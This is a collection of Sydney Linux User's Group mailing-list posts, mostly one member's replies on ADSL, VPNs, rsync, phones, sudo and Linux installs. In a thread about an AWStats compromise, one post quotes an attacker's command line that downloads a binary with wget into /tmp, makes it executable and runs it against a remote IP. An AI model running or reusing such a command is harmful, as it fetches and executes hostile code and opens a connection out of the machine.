Re: [SLUG] [slightly OT] video upload site with API?
blip.tv - seems to have the best video API out there, have used it extensively for uploading/tagging/etc many videos programatically. Sample code in php/python/ruby if I remember correctly - http://blip.tv/about/api/ They offer a private video service as part of their Pro service ($8/month I think) which allows you to password videos / limit to particular users / etc. R On 05/09/2010, at 11:46 , Sonia Hamilton wrote: [slightly OT] Can anyone recommend a video upload site (like Youtube, DailyMotion) that has an easily scriptable API, for uploading a lot of videos, that also allows passwording of the videos? I've got a lot of small mp4 videos (about 5 mins in length) that add up to a couple of gigs. I'd like to share them with my friends, but protect the videos with a password. Most importantly, I'm looking for something that's easily scriptable (Perl, Python, Ruby, ...), so I can just start the upload overnight and forget about it... The videos are of martial arts competions, not pr000n :-) -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux on Iphone
On 02/04/2008, at 10:34 PM, Sridhar Dhanapalan wrote: I can't possibly understand why you'd want to run Linux on an iPhone. The reason why one buys an iPhone is for the UI, not the device; there's better options out there if you're wanting to run Linux (no removable storage, for one). I can see why. A lot of people like the iPhone hardware, but prefer to run free software. I can totally understand the want to run free software; hell, I've been actively seeking an open source phone for over 5 years now and still don't have one, despite it looking constantly like there'll be one coming out right around the corner Anytime Soon now. My point is there's better hardware out there if you want to do this than the iPhone! The thing is 2G, doesn't even have removable memory, and the battery life, while bad, isn't as good as a bunch of the Windows Mobile devices I've seen. Multitouch is rad, but it's only useful once you've designed a UI around it conceptually. You need more than just interfacing to the hardware. [*] S60 (Nokia's GUI for Symbian) can be a pain from a developer's perspective, but it's a very nice mobile OS for the end-user I wouldn't call it 'nice', but I consider it probably the best tradeoff mobile OS at the moment. Let's face it; they all suck in some way or other currently! My current phones are a combination of an iPhone for normal phone usage and mobile media, and a e61i for email/ssh/web/GPS (Nokia 3G/ UTMS phone with a QWERTY keyboard, best I've used on any mobile device). I'm relatively happy with this but wish I could combine it into the one device. I'll never own a damn Windows Mobile device again, after owning a handful of them (including WM6 devices; I've owned more phones than I care to remember!). I remember posting on SLUG a couple of years back that they weren't so bad; can anybody say delusional? R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux on Iphone
On 03/04/2008, at 12:28 AM, Ryan Verner wrote: is 2G, doesn't even have removable memory, and the battery life, while bad, isn't as good as a ^ correction: that should read while not bad. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux on Iphone
On 01/04/2008, at 8:53 AM, Deepan wrote: Hi All, I am wondering if anyone has managed to install linux on iphone? I am aware of ipodlinux, for ipod. Not sure if someone has hacked into iphone. Openmoko is a nice alternative though. Hi Deepan, I can't possibly understand why you'd want to run Linux on an iPhone. The reason why one buys an iPhone is for the UI, not the device; there's better options out there if you're wanting to run Linux (no removable storage, for one). Even on Windows Mobile devices that have supported Linux for a very long time, and on the tiny few that actually have phone functionality, I'm not aware of any decent, well implemented open source dialer/phone suites. i.e. say goodbye to actually using it as an actual phone! If you want an open source, Linux based phone, the Openmoko or Android projects, in theory, should be eventuating into commercial products shortly. Cheers, R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] How to provide multiple remote desktops on CentOS 5?
On Wed, Oct 31, 2007 at 12:03:10PM +1100, Amos Shapira wrote: Cool! Looks like just what I was after. Now has anyone got around to make such a thing work with NX? I get the impression that NX is a bit more secure and has better compression/protocol. It's certainly faster, that's for sure. I know FC6 has a package called 'freenx' which you can install via yum, which pretty much sets everything up for you. You then download the free NX client for whatever platform you're on from the NX website and you're in business. R Thanks, --Amos -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Should I host my own domain?
DaZZa wrote:
If 100% reliability is not a worry, then there's nothing wrong with it
- if I can't get into my Linux box from work, I either wait until I
get home and restart the link, or if it's really urgent I call the
missus and get her to web browse something - anything - to kickstart
the link again.
Commercial grade DSL is another story. I run a remote site across a
commercial grade sDSL service with almost 100% uptime - I think the
link has gone down twice in the last 12 months, and one of those times
was my fault.
To be honest, your experiences at home sound far more like you've got a
dodgy modem. The only discerning differences between Residential
grade and Commercial grade ADSL connections is perhaps the contention
ratios for data, generally better phone support from the ISP, and
potentially a bridged service instead of needing a PPPo{E/A} tunnel.
The infrastructure between you and the ISP is almost always identical;
and you typically find almost all ADSL reliability issues are line or
equipment based.
I wouldn't suggest hosting anything mission critical[1] on any ADSL
connection, full stop. :-)
R
[1] For a home domain etc, it's absolutely fine. I'd strongly suggest
hosting your DNS externally, though, and having an external secondary MX
(my preferred solution, but there's spam-related arguments against this).
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Re: [SLUG] Using Ubuntu in an Internet cafe problems!
[EMAIL PROTECTED] wrote: Hi all I'm travelling over in Sydney at the moment and have been trying to get my Dell 640m laptop connected to the network in Global Gossip internet cafe in Kings Cross. I'm running Ubuntu Used a number of those AP's in Sydney recently with Ubuntu (and Firefox) with no problems. I have no idea what your problem is, unfortunately, but their service is definitely Linux-friendly. R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] CAcert assurance @ SLUG, Mon 22nd Jan
Hi there, There was massive interest in being CAcert assured at linux.conf.au - so why not do one at/after the SLUG meeting tomorrow? You'll need two forms of government issues ID (at least one with a photo), and the appropriate form printed out - more information at http://wiki.cacert.org/wiki/FAQ/AssuranceByCAP If you don't know about CAcert, please read more about the project at http://www.cacert.org/ Cheers, R (If you're a CAcert assurer, I'd appreciate your help if you're going to be there (the more, the merrier) - please let me know! Also, if you have access to a printer, I'd also really appreciate spare forms printed out - I've got absolutely no access to one at the moment, unfortunately). -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] PDA/phone/linux
I'll add my 2c - I bought an o2 Atom PDA/Phone about 6 months ago, and it's a decision I'm quite happy with, despite it being a Windows Mobile device. I honestly have no idea how I lived without it before. http://www.seeo2.com/product/XdaAtomExec/template/Product.vm The Atom is a very small, slim phone/PDA, which was the biggest reason why I bought it. Previously I've used small phones + larger PDA's via bluetooth (both a Linux Zaurus, and other Palm/Windows PDA's), and I'd often leave the thing home because of the bulk of a normal sized PDA + a phone, so it wasn't utilised effectively, and I saw little to no benefit to owning a PDA. I use my Atom *all* the time. Yes, it's a Windows Mobile device, and oh yes, it's buggy as hell. I reset the phone at least once a week, it does stupid stupid shit, and I do get frustrated with the thing at times, but overall it's actually a pretty sweet device, and it's the least buggy Windows Mobile device I've used (with latest firmware et al), which at least says something. It's a phone, PDA, voice recorder, MP3 player, in-car GPS navigation (*so* bloody useful), basic web browser/ssh client via wifi or gprs, occasional game unit, etc. I hate to say it, but the convenience wins over the frustration - it's made my life a heck of a lot easier since owning it. Talk to me 12 months ago about owning a Windows Mobile device (or even repeating the immediate last sentence I just wrote) and I'd have argued with you the opposite until I was blue in the face :-) I'm really looking forward to Trolltech's phone stuff - if somebody releases a hackable Linux PDA/phone around the size of the Atom, and it ran a pretty sweet PDA application stack (I was never impressed with Linux as a PDA on my Zaurus, but it still makes for one hell of a cool geek toy), I'd buy one in an instant. I'm really hoping that'll happen in 2007. R On Mon, Nov 06, 2006 at 07:09:06PM +1100, Alexander Samad wrote: On Mon, Nov 06, 2006 at 03:01:25PM +1100, Voytek Eymont wrote: On Mon, November 6, 2006 1:31 pm, Matthew Hannigan wrote: On Mon, Nov 06, 2006 at 12:30:21PM +1100, david wrote: I'm going to be /really/ annoying and ask whether you really need a pda phone :-). most ppl I know seem to think , yes' The one advantage of having the 2 together is you can dial straight from your contact list. for example open calendar, view appointment, look at invitees and open contact details and then ring, instead of having to transfer phone number by hand or having to keep 2 contact db in sync phone - pda - laptop.. I have a hp PDA/phone - I think I would rather have 2 seperate gagets, except for the above scenario I thought about it, whether I should get a Treo or Palm handheld my considered decision was Palm h/h, NOT phone I think most people would be better off with a separate phone and a PDA. Having a slim/small phone is good, and being a PDA is incompatible with slim. ditto, exactly my opinion So what you should look for is a small phone with good connectivity to communicate with the PDA. that's what I'd do/have done. but, it seems most ppl feel the need for 'single device' not optimal from where I sit -- Voytek -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux in Sydney
Michael Fox wrote: As to any other stores similar, can't say I know any. If you want hardware that's Linux compatible or know to work. The only solution is to RESEARCH based on what you want using google. And even ask people who might have used it or come across the item in question and can comment on support under linux. I've been pleasantly surprised a few times as of late; if you're able to find the resident geek of said retail store, often they'll have dabbled with Linux enough to be somewhere between somewhat receptive to concerns about compatibility, to actually knowing what will or won't work based on experience. For LCA in NZ, I was pleasantly surprised to find DSE over there actually print a Linux compatibilty symbol on the packaging of Linux-compatible products. They also seem to sell CD/DVD's of FOSS software, such as Ubuntu/Fedora/OOo/etc - neither of which I believe the AU DSE do. Searching for Linux on the AU site brings back 5 results. The same search on the NZ site brings back 172 results. Go figure! R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Comment from iinet
On Tue, 2006-02-28 at 12:35 +1100, Jamie Wilkinson wrote: This one time, at band camp, Michael Fox wrote: On 2/28/06, Craige McWhirter [EMAIL PROTECTED] wrote: That's unusual, in my experience (not with iinet) business rates are usually significantly cheaper than residential rates. Not from any ISP I have ever seen. Just look at the Internode Business plans compared to Home/Soho ones. Usually that's because a business plan is guaranteed to have a lower contention ratio (i.e. 1:1) than the residential plans, which can be as dense as 1:10 or 1:12. Gah, 1:1? Assuming you're talking about the average DSL provider, business is normally more like 1:15 or something, whereas residential is more like 1:30 - obviously, depends on the provider, and how saturated their links are on average. The contention ratios for business are usually structured such that even in peak periods, you'll get optimal bandwidth/latency out of your link. At 1:1, for a 1.5mbit DSL connection you'd probably be paying around $1000/month (which are definitely available, but probably not what people are thinking of in this thread). R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Remote support via VNC?
There's also x0rfbserver (I think?), which will export the current X display. It's not exactly the most stable thing, though :-) On Fri, 2005-11-11 at 15:07 +1100, Jamie Wilkinson wrote: This one time, at band camp, Erik de Castro Lopo wrote: Hi all, Is it possible to get the vncserver program to export the :0 display of a system running X? My mother-in-law is having a few minor problems with her email client (Sylpheed under Gnome) and I was hoping to help her out. *If* she's running gnome 2.10 (I think) then there's a tool called.. uh.. *checks* vino. vino-server from within the X session should start it up to allow VNC connections to the desktop. If you're on a recent ubuntu, you can System-Preferences-Remote Desktop and check the Allow people to connect checkbox. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux hosting in Australia?
On Sat, 2005-11-12 at 13:50 +1100, Peter Chubb wrote: Hi, I'm looking for a low cost virtual private server (running Linux, of course!) that has low latency connections to AARNET and OptusNET. So far, the low cost providers I've found are all in the US or Canada; Australian providers seem to start at around $20 per month (as opposed to $5US). Personally, I consider that very cheap (AU$20/month), considering it's quite usual for a true dedicated server to cost anywhere from around $200 up (and in most cases, a lot more up). Remember, bandwidth costs a whole lot more over here than it does in the US, so I'd be surprised if you were able to match the price/plans here. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Dlink Adsl Modem dropping Packets
On Sun, 2005-08-07 at 12:39 +1000, [EMAIL PROTECTED] wrote: 1. Do I just have a bad apple and should I just get a replacement or is the a fundamental problem with this model of D-link modems? Sounds a lot like other Dlink modems I've played with. I've replaced dozens of them due to similar behaviour - the brand seems to have a plague of horribly broken modems that like to misbehave. Billion 5402's (ADSL2+ capable) are under $100/each - do yourself a favour and get one of those, or something similar. :-) R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Dlink Adsl Modem dropping Packets
On Wed, 2005-08-10 at 08:35 +1000, Michael Fox wrote: On 8/10/05, Ryan Verner [EMAIL PROTECTED] wrote: On Sun, 2005-08-07 at 12:39 +1000, [EMAIL PROTECTED] wrote: 1. Do I just have a bad apple and should I just get a replacement or is the a fundamental problem with this model of D-link modems? Sounds a lot like other Dlink modems I've played with. I've replaced dozens of them due to similar behaviour - the brand seems to have a plague of horribly broken modems that like to misbehave. Billion 5402's (ADSL2+ capable) are under $100/each - do yourself a favour and get one of those, or something similar. :-) Is 5402 a typo? As I see no model mentioned on the Billion website. Right, sorry, 5102. Getting confused, been playing with a Billion 7402 :-) Thanks Regards, Ryan Verner Director, uAnywhere -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] dual authentification
On Thu, 2005-08-04 at 21:52 +1000, Ken Foskey wrote: On Thu, 2005-08-04 at 21:35 +1000, Tony Green wrote: I'm guessing you could do a dual stage 'sudo su'. One account which allows sudo su access to pre-root (which the application guy has the password to) and then a sudo from pre-root - root using the password which the admin guy has. I get where you are going. The whole idea where physical access = access is a real problem here. You are never going to lock out the administrators from the computer room, console logon and even a simple su command is easy if they have any accounts on the machines. No, you configure sudo so only a particular group has access (say, 'admin', or 'wheel'), and ensure only users which need root access are in that group. This is pretty much exactly the standard way you solve the precise problem you're talking about. By the way, if you've physical access to a machine, there's plenty of other ways you can gain root on a system. Unless you're running some kind of encrypted filesystem and a password or key needing to be manually fed into the machine at every startup (which for a server is rather inconvenient), the data is *not* physically secure. R -- Ken Foskey OpenOffice.org developer Regards, Ryan Verner Director, uAnywhere -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] dual authentification
On Thu, 2005-08-04 at 23:00 +0930, Ryan Verner wrote: This is pretty much exactly the standard way you solve the precise problem you're talking about. Actually, on re-reading your post, it isn't - I misunderstood. The day's been too bloody long :-) -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] debian question
On Tue, 2005-08-02 at 14:04 +0930, [EMAIL PROTECTED] wrote: Can I go ahead with this without causing dependency problems for other packages? IOW. If I say yes, will any other packages on the server refuse to run? I'm confused, and don't really understand the question - what you've pasted looks perfectly normal. Assuming you're not using any third party apt sources, and haven't compiled/installed anything manually regarding those things that are about to be installed, there's no reason why what you pasted would break any other packages. I'd suggest having a good read of the Debian documentation, which covers this sort of thing: http://www.us.debian.org/doc/ R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Microsoft passes da Vista baby
On Sat, 2005-07-23 at 08:49 +1000, Howard Lowndes wrote: Make it unrecognisable by renaming it... I've heard this comment a lot, and it baffles me. Hell, I'm not trying to stick up for Microsoft or anything, but this is perfectly normal and they've done this as long as I can remember for pretty much all their products. XP was Whistler, for example, 95 was Chicago, even Windows 3.11 had a codename (Snowball?) - Longhorn was purely a development codename. (...but like anybody here cares :-) Let's stick to beating them at stuff that actually matters :-) R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Low - mid level graphic card recommendations
On Mon, 2005-06-27 at 07:42 +1000, Erik de Castro Lopo wrote: My box at work has the binary Nvidia drivers and about once a fortnight or so, X dies, restarts and provides me with GDM login screen. For someone who keeps half a dozen windows open with what I'm working on, this is a royal PITA. Hmm, I haven't experienced that for a long time on quite a few boxes that run 24/7. The binary nVidia drivers certainly used to be a bit unstable, but they're rock solid in my experiences these days. (Both Debian Unstable Ubuntu Hoary machines, usually on AMD). R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] DirecPC under Linux (Telstra Sattelite)
Hi there, Anybody had any experiences setting up 1-way DirecPC (Telstra Bigpond) satellite with an uplink through an NT1+II USB ISDN modem on Linux? The DirecPC USB modem is a Hughes Network Systems (HNS) Sattelite Device, model ISU-R1. I seem to remember some commercial software a few years ago to achieve this, but I can't seem to find anything (at least, even remotely recent). Thanks, R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] stolen laptop
On Mon, 2005-06-20 at 09:50 +1000, James wrote: Mind you if the theif has half a brain he would stick the box on a private network and run snort/ethereal et al.. and have a look at what the laptop does. I think you are severely overestimating the average thief, let alone the average 'tech savvy' person. Most wouldn't even think of this; they'd only care if the laptop itself worked. I'd suggest, however, a 'phone home' application/device is only going to be effective either if it's hardware based, or you still allow a way for an unauthorised person to login and use the machine. If they're not able to use the machine, they'll probably just re-format it (or, more likely, sell it to somebody who would then do this). -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Installing ubuntu from an external CD drive
On Mon, 2005-06-06 at 18:15 +1000, Denis Crowdy wrote: Hi all, I am trying to install ubuntu on a G4 powerbook from an external firewire CD/DVD drive. The internal drive has had it. Basically I have access to two powerbooks - lucky me but here's the catch - one has a fsckd up hard drive, the other a fsckd up CD drive. Maddening. Boot up one of the Powerbooks in Firewire target mode (hold down T or F on booting, off memory). You'll get presented any devices on the Powerbook to the other Powerbook that way (HD, DVD, et al - even any USB/Firewire storage devices plugged into it too, I believe). R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Problems with rsync
On Tue, 2005-05-31 at 22:28 +1000, David wrote: I have a routine that runs an rsync to sync data from a Linux fs to a vfat fs which I have smbmounted on a linux fs. It runs quite happily for a while, then stalls. the rsync command I an using is: rsync -vrtL --delete /home/ext3fs /home/vfatfs What is the best way to find out why it might be stalling? I know where, but why. I've had a lot of trouble with rsync stalling. I've managed to cure it without understanding the reasons. Try adding --bwlimit= Sounds like packet shaping somewhere is causing packet loss, which rsync tends not to handle very well. R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Problems with rsync
On Wed, 2005-06-01 at 07:01 +1000, Howard Lowndes wrote: Ryan Verner wrote: On Tue, 2005-05-31 at 22:28 +1000, David wrote: I have a routine that runs an rsync to sync data from a Linux fs to a vfat fs which I have smbmounted on a linux fs. It runs quite happily for a while, then stalls. the rsync command I an using is: rsync -vrtL --delete /home/ext3fs /home/vfatfs What is the best way to find out why it might be stalling? I know where, but why. I've had a lot of trouble with rsync stalling. I've managed to cure it without understanding the reasons. Try adding --bwlimit= Sounds like packet shaping somewhere is causing packet loss, which rsync tends not to handle very well. I wouldn't be expecting packet shaping on a LAN. Right, but you might still be getting packet loss. I just replaced a switch two days ago exactly because of that, and I've had Realtek cards do odd things under certain kernels. Lowering the MTU, as somebody else mentioned, tends to make packet loss more tolerable. Of course, might not be this at all - just a stab in the dark based from lots of previous similar experiences :) R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Telephone recording?
On Fri, 2005-05-27 at 13:19 +1000, James Gray wrote: Dick Smith sell an analogue phone pickup (basically a purpose-built microphone) that attaches to the hand piece and has a cable with monaural 1/16 (IIRC) male plug on the other end. Plug the pickup into your sound card's microphone jack and start recording. Another alternative, although nowhere even near as simple, is to purchase a VoIP FXO/FXP device such a Sipura 3000, and configure it to talk through an Asterisk server that records the phone call. With both an FXO/FXP ports (as in, true ports, not just a passthrough) you're able to use a normal handset, with your normal POTS line, no worries (Analog - VoIP - POTS). Glaringly obvious statement but also make sure to tell the person on the other end that the phone conversation will be recorded at the start of the phone call; privacy laws ahoy otherwise. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] not so good ouchstats
On Sun, 2005-05-22 at 12:49 +1000, Rob Sharp wrote: Ouch! They'd tried to run: cd /tmp;rm -f /tmp/c;wget 128.xxx.xxx.xxx/c;chmod +x c;./c 80.xxx.xxx.xxx 80 Voytek, how did you notice you'd been exploited? How old is the AWStats that you are running? I thought these remote exploit bugs were squashed ages ago. R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] pptp IP address assignment
On Tue, 2005-05-17 at 11:26 +1000, Michael Fox wrote: I think you need to tell us more about this setup of yours. Sounds very interesting :) Nothing really that special; I can't get ADSL at my current residence so I'm running a WEP'ed wireless link (utilising Debian+HostAP+Prism cards) up the road to a client of mine who can. As WEP is bloody awful, I also tunnel an encrypted connection that everything is routed over (and all traffic is encapsulated); pptpd was what I found worked well at the time writing/packaging the solution (over 2 years ago now, ignoring routine upgrades). The internal connections are just for wireless (a second Prism/HostAP card); wifi hands out dhcp, but you're on a lone nonrouted subnet until you VPN in from a client machine (and you get an IP on the local ethernet subnet). I much prefer tunneling/encrypting each individual connection rather than using a shared encryption scheme such as WEP; I don't want other users sniffing my traffic. I'm in the midst of moving it to a completely different solution right now, actually, which probably is a bit more interesting :-) R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] error
On Mon, 2005-05-16 at 11:06 +1000, ashley maher wrote: The dmesg output is: cx88[0]/0: AUD_STATUS: 0x7372 [mono/no pilot] ctl=BTSC_AUTO_STEREO That's something dicky with the cx88xx module; I'm going to take a random pot-shot here and guess you've got an MSI [EMAIL PROTECTED] card (or something with the same conxtant chipset). I get exactly the same thing; it isn't a show stopper though, purely just an annoyance as it floods dmesg/syslog (uninstalling the module stops it). I also have a nVidia card in the machine, and have not had any problems. I'd assume upgrading to a later kernel would fix it, but I've neither had the inclination to build one myself, nor anything later available in the Hoary repositories yet (excepting an apparently-buggy 2.6.11 in universe, albeit without a restricted-modules). I don't think this is related to your gdm/xorg issues. One way to find out is to yank out that TV tuner card and see if the problems go away, of course. Instead, I'll ask a different question: are you using the default nv drivers, or the proprietary nvidia with the module from restricted-modules? If the latter, have you tried tweaking NvAGP/agpgart settings, et al? Have you checked xorg logs/syslog for any further clues? R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] pptp IP address assignment
On Tue, 2005-05-17 at 10:54 +1000, Michael Fox wrote: YourUserNameHERE REMOTE-PPTP-CHAP-HERE 'PPTP-Passwd' 192.168.7.100 Doh! somethings are so obvious that you just don't even think that's how it's done. What sort of values go in remote-pptp-chap-here? Password from memory.. Oops ignore that... typically you put an * in that field... or atleast thats what I have done, unless of course you want to do peer authentication, then you can specify the peers hostname or something. Multiple things utilising ppp can use that chap-secrets file for authentication, so you typically put a descriptor in there that defines that authentication line as unique (which /technically/ is meant to be the machines hostname, but I certainly don't use it like that) - for example, you only want pptpd to authenticate against a few defined passwords, instead of anything in that file (*). That's defined in the ppp options file (whether that's pptpd-options, or the pptp client config file) as 'name'. Right now I'm on a connection that both takes internal wireless connections via a poptop server, and has an external connection via wifi via a encrypted ppp connection (as I can't get ADSL at my current residence, but can link to a client up the road from me who can - ADSL2+ this week hopefully!). My internal usernames/passwords are tagged 'wireless', and the external link has a single password tagged 'extlink'. This is useful because I don't want to be able to authenticate using the internal passwords on the external connection, and vice-versa. R -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Re: [Linux-aus] [Fwd: LINUX Consultants needed.]
On 04/04/2004, at 7:52 PM, Pia Smith wrote: Hi all, Please see below :) looks good. Hmm, I received this same email through several email accounts a few weeks ago. I just discounted it as spam. Is it legitimate? r -- Signature space for rent. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Laptop + Debian + no way to install it (help?).
Gidday... I'm wanting to configure my Toshiba Portege 3110CT to dual boot debian/win2k. At the moment its running XP (very, very bloddy slowly), and I have two partitions - a 4.5gig fat32 (c:), and a 1.2gig fat32 (d:). Basically, I want to install win2k to the 4.5gig, and erase the existing 1.2gig fat32 and turn this into linux native/swap partitions. Under normal circumstances, this would be damn easy. However, the portege's do not have internal cdrom or floppy drives. I have no floppy drive, and no way to access one, and the cdrom drive is external (pcmcia), and even though I know linux does support it, the toshiba bios does not allow me to boot from this. This is the latest flashed firmware. The main issue is actually getting linux onto the machine. Somehow I need to invoke the debian install program. I can't drop to DOS, as I can't think of any way to do this, so loadlin isn't an option either. I can't boot from cd, I can't run loadlin, and I can't boot from floppy disk. Any ideas on how I'd go around this? I'm completely lost. Even going FreeBSD would be an option - I'm just keen to get some kind of BSD/Linux on it. I don't think this helps the situation though. Thanks. - xfesty --=-- :: Ryan Verner :: xfesty/irc.oddbox.org :: :: ICQ :: 76626240 :: :: [EMAIL PROTECTED] :: :: [EMAIL PROTECTED] :: -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
